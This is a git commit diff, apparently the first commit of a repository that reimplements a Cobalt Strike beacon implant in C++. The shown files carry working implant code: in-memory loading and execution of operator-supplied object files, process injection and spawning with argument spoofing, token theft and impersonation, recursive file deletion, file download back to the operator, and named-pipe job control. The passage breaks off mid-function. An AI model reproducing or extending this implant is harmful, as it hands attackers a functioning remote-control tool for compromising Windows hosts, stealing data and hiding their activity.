first commit

This commit is contained in:
WBGlIl 2022-09-15 14:47:13 +08:00
commit afc4a01b5e
91 changed files with 53459 additions and 0 deletions

1
README.md Normal file
View File

@ -0,0 +1 @@
# ReBeacon_Src

31
ReBeacon_Src.sln Normal file
View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32428.217
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReBeacon_Src", "ReBeacon_Src\ReBeacon_Src.vcxproj", "{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x64.ActiveCfg = Debug|x64
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x64.Build.0 = Debug|x64
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x86.ActiveCfg = Debug|Win32
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x86.Build.0 = Debug|Win32
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x64.ActiveCfg = Release|x64
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x64.Build.0 = Release|x64
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x86.ActiveCfg = Release|Win32
{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {CD87FCD7-3682-4403-A4C2-7F655021898F}
EndGlobalSection
EndGlobal

263
ReBeacon_Src/BeaconBof.cpp Normal file
View File

@ -0,0 +1,263 @@
#include "BeaconBof.h"
void __cdecl BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
ProcessInject(pid, 0, hProc, payload, p_len, p_offset, arg, a_len);
}
void __cdecl BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pi, char* payload, int p_len,int p_offset,char* arg,int arg_len)
{
ProcessInject(pi->dwProcessId, pi, pi->hProcess, payload, p_len, p_offset, arg, arg_len);
}
void __cdecl BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
{
char path[256];
getspawntopath(path, x86);
if (length >= 256)
{
memcpy(buffer, path, 0x100u);
}
else
{
memcpy(buffer, path, length);
}
}
BOOL __cdecl SetBeaconToken(HANDLE hToken, char* buffer)
{
BeaconRevertToken();
if (!ImpersonateLoggedOnUser(hToken)
|| !DuplicateTokenEx(hToken, 0x2000000u, 0, SecurityDelegation, TokenPrimary, &pTokenHandle)
|| !ImpersonateLoggedOnUser(pTokenHandle)
|| !get_user_sid(0x100u, pTokenHandle, buffer))
{
return 0;
}
BeaconTaskOutput(buffer, strlen(buffer), 15u);
return 1;
}
BOOL __cdecl BeaconUseToken(HANDLE hToken)
{
char* buffer = (char*)malloc(256u);
memset(buffer, 0, 256);
BOOL ret = SetBeaconToken(hToken, buffer);
memset(buffer, 0, 256);
free(buffer);
return ret;
}
void __cdecl BeaconOutput(int type, char* data, int len)
{
BeaconTaskOutput(data, len, type);
}
void __cdecl BeaconPrintf(int type, char* fmt, ...)
{
va_list ArgList=0;
va_start(ArgList, fmt);
int size = vprintf(fmt, ArgList);
if (size > 0)
{
char* buffer = (char*)malloc(size + 1);
buffer[size] = 0;
vsprintf_s(buffer, size + 1, fmt, ArgList);
BeaconTaskOutput(buffer ,size, type);
memset(buffer, 0, size);
free(buffer);
}
}
void InitInternalFunctions(BeaconInternalFunctions* InternalFunctions)
{
memset(InternalFunctions, 0, 252);
InternalFunctions->LoadLibraryA = LoadLibraryA;
InternalFunctions->FreeLibrary = FreeLibrary;
InternalFunctions->GetProcAddress = GetProcAddress;
InternalFunctions->GetModuleHandleA = GetModuleHandleA;
InternalFunctions->BeaconDataParse = BeaconDataParse;
InternalFunctions->BeaconDataPtr = BeaconDataPtr;
InternalFunctions->BeaconDataInt = BeaconDataInt;
InternalFunctions->BeaconDataShort = BeaconDataShort;
InternalFunctions->BeaconDataLength = BeaconDataLength;
InternalFunctions->BeaconDataExtract = BeaconDataExtract;
InternalFunctions->BeaconFormatAlloc = BeaconFormatAlloc;
InternalFunctions->BeaconFormatReset = BeaconFormatReset;
InternalFunctions->BeaconFormatAppend = BeaconFormatAppend;
InternalFunctions->BeaconFormatPrintf = BeaconFormatPrintf;
InternalFunctions->BeaconFormatToString = BeaconFormatToString;
InternalFunctions->BeaconFormatFree = BeaconFormatFree;
InternalFunctions->BeaconFormatInt = BeaconFormatInt;
InternalFunctions->BeaconOutput = BeaconOutput;
InternalFunctions->BeaconPrintf = BeaconPrintf;
InternalFunctions->BeaconErrorD = BeaconErrorD;
InternalFunctions->BeaconErrorDD = BeaconErrorDD;
InternalFunctions->BeaconErrorNA = BeaconErrorNA;
InternalFunctions->BeaconUseToken = BeaconUseToken;
InternalFunctions->BeaconRevertToken = BeaconRevertToken;
InternalFunctions->BeaconIsAdmin = is_admin;
InternalFunctions->BeaconGetSpawnTo = BeaconGetSpawnTo;
InternalFunctions->BeaconInjectProcess = BeaconInjectProcess;
InternalFunctions->BeaconInjectTemporaryProcess = BeaconInjectTemporaryProcess;
InternalFunctions->BeaconSpawnTemporaryProcess = BeaconSpawnTemporaryProcess;
InternalFunctions->BeaconCleanupProcess = BeaconcloseAllHandle;
InternalFunctions->toWideChar = toWideChar;
}
int FixRelocation(BeaconBofRelocation* pBofRelocation, char* pcode_data, char* seg, int OffsetInSection, char* bof_code)
{
if (pBofRelocation->Type == 6)
{
*(DWORD*)&pcode_data[pBofRelocation->offset] += (DWORD)&seg[OffsetInSection];
return 1;
}
if (pBofRelocation->Type == 20)
{
*(DWORD*)&pcode_data[pBofRelocation->offset] = (DWORD)&seg[*(DWORD*)&pcode_data[pBofRelocation->offset]
- pBofRelocation->offset
- (DWORD)bof_code
- 4
+ OffsetInSection];
return 1;
}
BeaconErrorD(79, pBofRelocation->Type);
return 0;
}
char* GetBeaconFunPtr(BeaconInternalFunctions* pinternalFunctions, char* pfun)
{
char** p_end = &pinternalFunctions->end;
int number = 0 ;
char** pbeaconfun = &pinternalFunctions->end;
do
{
if (*pbeaconfun == pfun)
{
return (char*)(&pinternalFunctions->end + number);
}
++number;
++pbeaconfun;
} while (number < 32);
number = 0;
while (*p_end)
{
++number;
++p_end;
if (number >= 32)
{
return 0;
}
}
char* fun = (char*)(&pinternalFunctions->end + number);
*(char**)fun = pfun;
return fun;
}
void __cdecl beacon_bof(char* Taskdata, int Tasksize)
{
BeaconInternalFunctions* internalFunctions = (BeaconInternalFunctions*)malloc(252);
InitInternalFunctions(internalFunctions);
// 4 getEntryPoint
// 4 code
// 4 rdata
// 4 data2
// 4 relocations
// 4 args
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Tasksize);
int getEntryPoint = BeaconDataInt(&pdatap);
int code_size = 0;
char* pcode = BeaconDataPtr3(&pdatap,&code_size);
int rdata_size = 0;
char* prdata = BeaconDataPtr3(&pdatap, &rdata_size);
int data2_size = 0;
char* pdata2 = BeaconDataPtr3(&pdatap, &data2_size);
int relocations_size = 0;
char* prelocations = BeaconDataPtr3(&pdatap, &relocations_size);
int alen = 0;
char* args = BeaconDataPtr3(&pdatap, &alen);
char* bof_code = (char*)VirtualAlloc(0, code_size, 0x3000u, get_short(43));
if (bof_code)
{
datap pdatap;
BeaconDataParse(&pdatap, prelocations, relocations_size);
BeaconBofRelocation* pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12);
while (1)
{
BOOL status;
short id = pBofRelocation->id;
if (id == 1028) // SYMBOL_END
{
break;
}
if (id == 1024) // SYMBOL_RDATA
{
status = FixRelocation(pBofRelocation, pcode, prdata, pBofRelocation->OffsetInSection, bof_code);//修复rdata重定位
}
else if (id == 1025) // SYMBOL_DATA
{
status = FixRelocation(pBofRelocation, pcode, pdata2, pBofRelocation->OffsetInSection, bof_code);//修复DATA段重定位
}
else if (id == 1026) // SYMBOL_TEXT
{
status = FixRelocation(pBofRelocation, pcode, bof_code, pBofRelocation->OffsetInSection, bof_code);//修复code段重定位
}
else
{
char* pfun;
if (id == 1027) // SYMBOL_DYNAMICF
{
char* strModule = BeaconDataPtr2(&pdatap);
char* strFunction = BeaconDataPtr2(&pdatap);
HMODULE dllbase = GetModuleHandleA(strModule);
if (!dllbase)
{
dllbase = LoadLibraryA(strModule);
}
FARPROC functionaddress = GetProcAddress(dllbase, strFunction);
if (!functionaddress)
{
BeaconErrorFormat(76, (char*)"%s!%s", strModule, strFunction);
return;
}
char* p = GetBeaconFunPtr(internalFunctions, (char*)functionaddress);
if (!p)
{
BeaconErrorNA(0x4Eu);
return;
}
pfun = p;
}
else//修复
{
pfun = (char*)(&internalFunctions->LoadLibraryA + id);
}
status = FixRelocation(pBofRelocation, pcode, pfun, 0, bof_code);
}
if (!status)
{
return;
}
pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12);
}
memcpy(bof_code, pcode, code_size);
memset(pcode, 0, code_size);
if (CheckMemoryRWX(bof_code, code_size))
{
((void(__cdecl*)(char*, UINT)) & bof_code[getEntryPoint])(args, alen);
}
VirtualFree(bof_code, 0, 0x8000);
free(internalFunctions);
}
}

85
ReBeacon_Src/BeaconBof.h Normal file
View File

@ -0,0 +1,85 @@
#pragma once
#include "Utils.h"
#include "Global.h"
#include "comm.h"
#include "common.h"
#include "BeaconInject.h"
typedef HMODULE(__stdcall* fpLoadLibraryA)(LPCSTR lpLibFileName);
typedef BOOL(__stdcall* fpFreeLibrary)(HMODULE hLibModule);
typedef FARPROC(__stdcall* fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef HMODULE(__stdcall* fpGetModuleHandleA)(LPCSTR lpModuleName);
typedef void(__cdecl* fpBeaconDataParse)(datap* parser, char* buffer, int size);
typedef char* (__cdecl* fpBeaconDataPtr)(datap* parser, int size);
typedef int(__cdecl* fpBeaconDataInt)(datap* parser);
typedef short(__cdecl* fpBeaconDataShort)(datap* parser);
typedef int(__cdecl* fpBeaconDataLength)(datap* parser);
typedef char* (__cdecl* fpBeaconDataExtract)(datap* parser, int* size);
typedef void(__cdecl* fpBeaconFormatAlloc)(formatp* format, int maxsz);
typedef void(__cdecl* fpBeaconFormatReset)(formatp* format);
typedef void(__cdecl* fpBeaconFormatAppend)(formatp* format, char* text, int len);
typedef void(__cdecl* fpBeaconFormatPrintf)(formatp* format, char* fmt, ...);
typedef char* (__cdecl* fpBeaconFormatToString)(formatp* format, int* size);
typedef void(__cdecl* fpBeaconFormatFree)(formatp* format);
typedef void(__cdecl* fpBeaconFormatInt)(formatp* format, int value);
typedef void(__cdecl* fpBeaconOutput)(int type, char* data, int len);
typedef void(__cdecl* fpBeaconPrintf)(int type, char* fmt, ...);
typedef void(__cdecl* fpBeaconErrorD)(int BeaconErrorsType, DWORD error_code);
typedef void(__cdecl* fpBeaconErrorDD)(int BeaconErrorsType, int err_msg, u_long err_code_msg);
typedef void(__cdecl* fpBeaconErrorNA)(int BeaconErrorsType);
typedef BOOL(__cdecl* fpBeaconUseToken)(HANDLE token);
typedef BOOL(__cdecl* fpBeaconIsAdmin)();
typedef void(__cdecl* fpBeaconRevertToken)();
typedef void(__cdecl* fpBeaconGetSpawnTo)(BOOL x86, char* buffer, int length);
typedef void(__cdecl* fpBeaconInjectProcess)(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);
typedef void(__cdecl* fpBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);
typedef BOOL(__cdecl* fpBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFOA* si, PROCESS_INFORMATION* pInfo);
typedef void(__cdecl* fpBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo);
typedef BOOL(__cdecl* fptoWideChar)(char* src, wchar_t* dst, unsigned int max);
//注意一定要按照这个顺序不要错了因为cs是按照序号解析的
struct BeaconInternalFunctions
{
fpLoadLibraryA LoadLibraryA;
fpFreeLibrary FreeLibrary;
fpGetProcAddress GetProcAddress;
fpGetModuleHandleA GetModuleHandleA;
fpBeaconDataParse BeaconDataParse;
fpBeaconDataPtr BeaconDataPtr;
fpBeaconDataInt BeaconDataInt;
fpBeaconDataShort BeaconDataShort;
fpBeaconDataLength BeaconDataLength;
fpBeaconDataExtract BeaconDataExtract;
fpBeaconFormatAlloc BeaconFormatAlloc;
fpBeaconFormatReset BeaconFormatReset;
fpBeaconFormatAppend BeaconFormatAppend;
fpBeaconFormatPrintf BeaconFormatPrintf;
fpBeaconFormatToString BeaconFormatToString;
fpBeaconFormatFree BeaconFormatFree;
fpBeaconFormatInt BeaconFormatInt;
fpBeaconOutput BeaconOutput;
fpBeaconPrintf BeaconPrintf;
fpBeaconErrorD BeaconErrorD;
fpBeaconErrorDD BeaconErrorDD;
fpBeaconErrorNA BeaconErrorNA;
fpBeaconUseToken BeaconUseToken;
fpBeaconRevertToken BeaconRevertToken;
fpBeaconIsAdmin BeaconIsAdmin;
fpBeaconGetSpawnTo BeaconGetSpawnTo;
fpBeaconInjectProcess BeaconInjectProcess;
fpBeaconInjectTemporaryProcess BeaconInjectTemporaryProcess;
fpBeaconSpawnTemporaryProcess BeaconSpawnTemporaryProcess;
fpBeaconCleanupProcess BeaconCleanupProcess;
fptoWideChar toWideChar;
char* end;
};
struct BeaconBofRelocation
{
short Type;
short id;
int offset;
int OffsetInSection;
};
void __cdecl beacon_bof(char* Taskdata, int Tasksize);

View File

@ -0,0 +1,309 @@
#include "BeaconFileManage.h"
void BeaconLs(char* Taskdata, int Task_size)
{
SYSTEMTIME SystemTime;
SYSTEMTIME LocalTime;
HANDLE FirstFileA;
char* buff = (char*)malloc(0x4000);
memset(buff, 0, 0x4000u);
datap taskpdatap;
BeaconDataParse(&taskpdatap, Taskdata, Task_size);
int unknown = BeaconDataInt(&taskpdatap);
BeaconDataCopyToBuffer(&taskpdatap, buff, 0x4000);
formatp pdatap;
BeaconFormatAlloc((formatp*)&pdatap, 0x200000u);
BeaconFormatInt((formatp*)&pdatap, unknown);
if (!strncmp(buff, ".\\*", 0x4000))
{
GetCurrentDirectoryA(0x4000u, buff);
strncat_s(buff, 0x4000u, "\\*", 2);
}
BeaconFormatPrintf((formatp*)&pdatap, (char*)"%s\n", buff);
WIN32_FIND_DATAA FindFileData;
FirstFileA = FindFirstFileA(buff, &FindFileData);
if (FirstFileA == (HANDLE)-1)
{
BeaconTaskError1Output(52, GetLastError(), buff);
int length = BeaconFormatlength((formatp*)&pdatap);
char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap);
BeaconTaskOutput(buffer, length, 22);
free(buff);
}
else
{
free(buff);
do
{
FileTimeToSystemTime(&FindFileData.ftLastWriteTime, &SystemTime);
SystemTimeToTzSpecificLocalTime(0, &SystemTime, &LocalTime);
if ((FindFileData.dwFileAttributes & 0x10) != 0)
{
BeaconFormatPrintf(
(formatp*)&pdatap,
(char*)"D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
LocalTime.wMonth,
LocalTime.wDay,
LocalTime.wYear,
LocalTime.wHour,
LocalTime.wMinute,
LocalTime.wSecond,
FindFileData.cFileName);
}
else
{
BeaconFormatPrintf(
(formatp*)&pdatap,
(char*)"F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
__PAIR64__(FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow),
LocalTime.wMonth,
LocalTime.wDay,
LocalTime.wYear,
LocalTime.wHour,
LocalTime.wMinute,
LocalTime.wSecond,
FindFileData.cFileName);
}
} while (FindNextFileA(FirstFileA, &FindFileData));
FindClose(FirstFileA);
int length = BeaconFormatlength((formatp*)&pdatap);
char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap);
BeaconTaskOutput(buffer, length, 0x16u);
}
BeaconFormatFree((formatp*)&pdatap);
}
void beacon_MkDir(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
char* buffer = (char*)malloc(0x4000u);
BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000);
_mkdir(buffer);
free(buffer);
}
void GetDrivesList(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
int unknown = BeaconDataInt(&pdatap);
formatp pformatp;
BeaconFormatAlloc(&pformatp, 0x80u);
BeaconFormatInt(&pformatp, unknown);
DWORD LogicalDrives = GetLogicalDrives();
BeaconFormatPrintf(&pformatp, (char*)"%u", LogicalDrives);
int length = BeaconFormatlength(&pformatp);
char* buffer = BeaconFormatOriginalPtr(&pformatp);
BeaconTaskOutput(buffer, length, 22);
BeaconFormatFree(&pformatp);
}
BOOL isDirectory(LPCSTR lpFileName)
{
return (GetFileAttributesA(lpFileName) & FILE_ATTRIBUTE_DIRECTORY) == 16;
}
void __cdecl CallbackDelFile(const char* path, const char* name, int type)
{
char* buffer = (char*)malloc(0x4000u);
memset(buffer, 0, 0x4000);
_snprintf(buffer, 0x4000u, "%s\\%s", path, name);
if (type)
{
_rmdir(buffer);
}
else
{
remove(buffer);
}
free(buffer);
}
void DeleteAllFile(char* buffer)
{
struct _WIN32_FIND_DATAA FindFileData;
TraverseDeleteFile(buffer, &FindFileData, CallbackDelFile);
}
void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun)
{
char* buffer = (char*)malloc(0x8000u);
_snprintf(buffer, 0x8000u, "%s\\*", path);
HANDLE hFindFile = FindFirstFileA(buffer, lpFindFileData);
free(buffer);
if (hFindFile != (HANDLE)-1)
{
do
{
if ((lpFindFileData->dwFileAttributes & 0x10) != 0)
{
if (strcmp(lpFindFileData->cFileName, "."))
{
if (strcmp(lpFindFileData->cFileName, ".."))
{
char* temp = (char*)malloc(0x8000u);
_snprintf(temp, 0x8000u, "%s", lpFindFileData->cFileName);
RecursionTraverseDeleteFile(path, lpFindFileData->cFileName, lpFindFileData, Callback_fun);
Callback_fun(path, temp, 1);
free(temp);
}
}
}
else
{
Callback_fun(path, lpFindFileData->cFileName, 0);
}
} while (FindNextFileA(hFindFile, lpFindFileData));
FindClose(hFindFile);
}
}
void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback)
{
char* buffer = (char*)malloc(0x8000u);
_snprintf(buffer, 0x8000u, "%s\\%s", path, Name);
TraverseDeleteFile(buffer, lpFindFileData, Callback);
free(buffer);
}
void beacon_rm(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
char* buffer = (char*)malloc(0x4000u);
BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000);
if (isDirectory(buffer))
{
DeleteAllFile(buffer);
_rmdir(buffer);
}
else
{
remove(buffer);
}
free(buffer);
}
void beacon_copy(char* Taskdata, int Task_size)
{
datap* pdatap = BeaconDataInit(0x4000u);
char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000);
char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000);
datap ptaskdatap;
BeaconDataParse(&ptaskdatap, Taskdata, Task_size);
BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000);
BeaconDataCopyToBuffer(&ptaskdatap,lpNewFileName, 0x2000);
if (!CopyFileA(lpExistingFileName, lpNewFileName, 0))
{
BeaconErrorD(0xDu, GetLastError());
}
BeaconDataClear(pdatap);
BeaconDataFree(pdatap);
}
void beacon_Move(char* Taskdata, int Task_size)
{
datap* pdatap = BeaconDataInit(0x4000u);
char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000);
char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000);
datap ptaskdatap;
BeaconDataParse(&ptaskdatap, Taskdata, Task_size);
BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000);
BeaconDataCopyToBuffer(&ptaskdatap, lpNewFileName, 0x2000);
if (!MoveFileA(lpExistingFileName, lpNewFileName))
{
BeaconErrorD(0xEu, GetLastError());
}
BeaconDataClear(pdatap);
BeaconDataFree(pdatap);
}
void CheckDownloadIsOK(BeaconDownload* pBeaconDownload)
{
if (!pBeaconDownload->size)
{
int number = htonl(pBeaconDownload->number);
BeaconTaskOutput((char*)&number, 4, 9);
fclose(pBeaconDownload->fp);
}
}
char* download_data;
void TransferFileData(BeaconDownload* pBeaconDownload, size_t size)
{
if (!download_data)
{
download_data = (char*)malloc(0x80004u);
}
*(int*)download_data = htonl(pBeaconDownload->number);
int dsize = pBeaconDownload->size;
if (dsize > size)
{
dsize = size;
}
int readsize =0;
while (dsize)
{
int readlen = fread(&download_data[readsize + 4], 1u, dsize, pBeaconDownload->fp);
if (!readlen)
{
pBeaconDownload->size = 0;
break;
}
readsize += readlen;
dsize -= readlen;
pBeaconDownload->size -= readlen;
}
BeaconTaskOutput(download_data, readsize + 4, 8); // ÎļþÏÂÔØ
CheckDownloadIsOK(pBeaconDownload);
}
void __cdecl CheckDownload(size_t size)
{
BeaconDownload* pgBeaconDownload = gBeaconDownload;
if (pgBeaconDownload)
{
do
{
if (pgBeaconDownload->size)
{
TransferFileData(pgBeaconDownload, size);
}
pgBeaconDownload = pgBeaconDownload->Linked;
} while (pgBeaconDownload);
pgBeaconDownload = gBeaconDownload;
BeaconDownload* temp=0;
while (pgBeaconDownload)
{
if (pgBeaconDownload->size)
{
temp = pgBeaconDownload;
pgBeaconDownload = pgBeaconDownload->Linked;
}
else
{
if (!temp)
{
gBeaconDownload = pgBeaconDownload->Linked;
free(pgBeaconDownload);
return;
}
temp->Linked = pgBeaconDownload->Linked;
free(pgBeaconDownload);
pgBeaconDownload = temp->Linked;
}
}
}
}

View File

@ -0,0 +1,26 @@
#pragma once
#include "Utils.h"
#include "comm.h"
#include "common.h"
#include <direct.h>
void BeaconLs(char* Taskdata, int Task_size);
void beacon_MkDir(char* Taskdata, int Task_size);
void GetDrivesList(char* Taskdata, int Task_size);
void beacon_rm(char* Taskdata, int Task_size);
typedef void(__cdecl *CallbackDelFilePtr)(const char* path, const char* name, int type);
void CallbackDelFile(const char* path, const char* name, int type);
void DeleteAllFile(char* buffer);
void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun);
void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback);
void beacon_copy(char* Taskdata, int Task_size);
void beacon_Move(char* Taskdata, int Task_size);

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,30 @@
#pragma once
#include "Global.h"
#include "Utils.h"
#include "comm.h"
#include "common.h"
int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess);
void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len);
int BeaconExecuteCommand(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int Flag, int ignoreToken);
void BeaconSpawnX86(BOOL ignoreToken, char* data, size_t Size, BOOL x86);
void BeaconReflectiveDLLInject(char* Taskdata, int Taskdata_size, int x86);
int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo);
int BeaconCreateProcess(char* path, int path_size, _STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken, int PPID);
void BeaconRunCommand(char* Taskdata, int Taskdata_size);
void BeaconSpoofArgsAdd(char* Taskdata, int Taskdata_size);
void SpoofArgsRemove(char* Taskdata, int Taskdata_size);
void SpoofArgsList();
void getspawntopath(char* path_buffer, BOOL x86);

346
ReBeacon_Src/BeaconJob.cpp Normal file
View File

@ -0,0 +1,346 @@
#include "BeaconJob.h"
#include "ChildBeacon.h"
int g_job_Number;
BeaconJob* gBeaconJob;
BOOL ConnectPipe(int dwFlagsAndAttributes, HANDLE* hNamedPipe, LPCSTR lpNamedPipeName)
{
HANDLE i;
DWORD Mode;
dwFlagsAndAttributes = dwFlagsAndAttributes | 0x100000;
for (i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes | 0x100000, 0);
;
i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes, 0))
{
*hNamedPipe = i;
if (i != (HANDLE)-1)
{
break;
}
if (GetLastError() != 231)
{
return 0;
}
if (!WaitNamedPipeA(lpNamedPipeName, 0x2710))
{
SetLastError(0x102);
return 0;
}
}
Mode = 0;
if (SetNamedPipeHandleState(*hNamedPipe, &Mode, 0, 0))
{
return 1;
}
DisconnectNamedPipe(*hNamedPipe);
CloseHandle(*hNamedPipe);
return 0;
}
//************************************
// Method: ConnectJobPipe
// FullName: ConnectJobPipe
// Access: public
// Returns: BOOL
// Qualifier:连接到反射dll创建的命名管道
// Parameter: HANDLE * hNamedPipe
// Parameter: int dwFlagsAndAttributes
// Parameter: CHAR * NamedPipeName
//************************************
BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName)
{
if (dwFlagsAndAttributes)
{
return ConnectPipe(dwFlagsAndAttributes, hNamedPipe, NamedPipeName);
}
BOOL ret = ConnectPipe(0, hNamedPipe, NamedPipeName);
if (!ret && GetLastError() == 5)
{
close_token_fake();
ret = ConnectPipe(0, hNamedPipe, NamedPipeName);
restore_token_fake();
}
return ret;
}
void CheckTimeout(HANDLE hNamedPipe, int timeout)
{
DWORD TotalBytesAvail = 0;
int time = timeout + GetTickCount();
while (GetTickCount() < time && PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0) && !TotalBytesAvail)
{
Sleep(500);
}
}
void Add_Beacon_Job(BeaconJob* pBeaconJob)
{
pBeaconJob->JobNumber = g_job_Number;
++g_job_Number;
BeaconJob* pgBeaconJob = gBeaconJob;
BeaconJob* temp;
if (pgBeaconJob)
{
do
{
temp = pgBeaconJob;
pgBeaconJob = pgBeaconJob->Linked;
} while (pgBeaconJob);
temp->Linked = pBeaconJob;
}
else
{
gBeaconJob = pBeaconJob;
}
}
void Add_BeaconInternal_Job(HANDLE hNamedPipe, int job_process_pid, int job_type, char* job_name, int lasting)
{
BeaconJob* psshBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob));
psshBeaconJob->hWritePipe = (HANDLE)-1;
psshBeaconJob->Linked = 0;
psshBeaconJob->hReadPipe = hNamedPipe;
psshBeaconJob->state = 1;
psshBeaconJob->kill = 0;
psshBeaconJob->JobProcessPid = job_process_pid;
psshBeaconJob->JobType = job_type;
psshBeaconJob->lasting = lasting;
strncpy(psshBeaconJob->JobName, job_name, JobNameMAX);
Add_Beacon_Job(psshBeaconJob);
}
void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting)
{
char job_name[64] = { 0 };
CHAR NamedPipeName[64] = { 0 };
HANDLE hNamedPipe;
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
int job_process_pid = BeaconDataInt(&pdatap);
int job_type = BeaconDataShort(&pdatap);
int timeout = BeaconDataShort(&pdatap);
if (BeaconDataCopyToBuffer(&pdatap, NamedPipeName, 64) && BeaconDataCopyToBuffer(&pdatap, job_name, 64))
{
int dwFlagsAndAttributes = FlagsAndAttributes != 0 ? 0x20000 : 0;
int number = 0;
//连接到job任务的命名管道
while (!ConnectJobPipe(&hNamedPipe, dwFlagsAndAttributes, NamedPipeName))
{
Sleep(500);
if (++number >= 20)
{
BeaconErrorD(20, GetLastError());
return;
}
}
if (timeout)
{
CheckTimeout(hNamedPipe, timeout);
}
Add_BeaconInternal_Job(hNamedPipe, job_process_pid, job_type, job_name, lasting);
}
}
/// <summary>
/// Beacon list jobs
/// </summary>
void beacon_jobs()
{
BeaconJob* pBeaconJob = gBeaconJob;
formatp pformatp;
BeaconFormatAlloc(&pformatp, 0x8000);
while (pBeaconJob)
{
BeaconFormatPrintf(&pformatp, (char*)"%d\t%d\t%s\n", pBeaconJob->JobNumber, pBeaconJob->JobProcessPid, pBeaconJob->JobName);
pBeaconJob = pBeaconJob->Linked;
}
int length = BeaconFormatlength(&pformatp);
char* buffer = BeaconFormatOriginalPtr(&pformatp);
BeaconTaskOutput(buffer, length, 0x14);
BeaconFormatFree(&pformatp);
}
/// <summary>
/// 对beacon jos进行清理,删除停止状态的任务
/// </summary>
void del_beacon_job()
{
BeaconJob* pgBeaconJob = gBeaconJob;
if (pgBeaconJob)
{
do
{
if (pgBeaconJob->kill == 1)
{
if (pgBeaconJob->state)
{
if (pgBeaconJob->state == 1)
{
DisconnectNamedPipe(pgBeaconJob->hReadPipe);
CloseHandle(pgBeaconJob->hReadPipe);
}
}
else
{
CloseHandle(pgBeaconJob->pHandle);
CloseHandle(pgBeaconJob->hThread);
CloseHandle(pgBeaconJob->hReadPipe);
CloseHandle(pgBeaconJob->hWritePipe);
}
}
pgBeaconJob = pgBeaconJob->Linked;
} while (pgBeaconJob);
}
pgBeaconJob = gBeaconJob;
BeaconJob* temp = 0;
while (pgBeaconJob)
{
if (pgBeaconJob->kill == 1)
{
